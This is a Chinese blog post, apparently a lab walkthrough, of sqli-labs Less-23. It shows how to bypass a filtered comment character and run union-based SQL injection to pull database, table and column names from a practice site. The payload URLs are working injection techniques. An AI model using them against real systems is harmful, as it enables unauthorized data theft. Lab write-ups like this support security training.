sqli-labs less-23 注释符绕过

子非鱼999

于 2024-10-10 23:05:59 发布

阅读量521

点赞数 13

分类专栏： sqli-labs靶场文章标签： less android 前端数据库网络安全

本文链接：https://blog.csdn.net/wanggonghanfei/article/details/142834131

版权

sqli-labs靶场专栏收录该内容

20 篇文章 0 订阅

订阅专栏

注释符绕过

在这里插入图片描述
来到23关，提示我们用id查询
查询：

http://192.168.140.130/sq/Less-23/?id=1

页面回显正常，构造

http://192.168.140.130/sq/Less-23/?id=1'

报错

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy_64\phpstudy_pro\WWW\sq\Less-23\index.php on line 38
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near''1'' LIMIT 0,1' at line 1

得知是单引号闭合，结合经验，为单引号闭合方式
构造

http://192.168.140.130/sq/Less-23/?id=1’ #

页面报错，猜测是#注释符被过滤了，所以绕过#过滤，想到是单引号闭合，所以我们构造

http://192.168.140.130/sq/Less-23/?id=1’ or '1'='1

成功绕过

测试列数

发现order by 和group by 都不能用，所以我们使用

http://192.168.140.130/sq/Less-23/?id=-1’ union select 1 or ‘1’=‘1
http://192.168.140.130/sq/Less-23/?id=-1’ union select 1,2 or ‘1’=‘1
http://192.168.140.130/sq/Less-23/?id=-1’ union select 1,2,3 or ‘1’=‘1
http://192.168.140.130/sq/Less-23/?id=-1’ union select 1,2,3,4 or ‘1’='1

得知列数和回显位，接下来开始注入

注入

数据库
http://192.168.140.130/sq/Less-23/?id=-1’ union select 1,(select database()),3 or ‘1’='1

表
http://192.168.140.130/sq/Less-23/?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 or ‘1’='1

列
http://192.168.140.130/sq/Less-23/?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),3 or ‘1’='1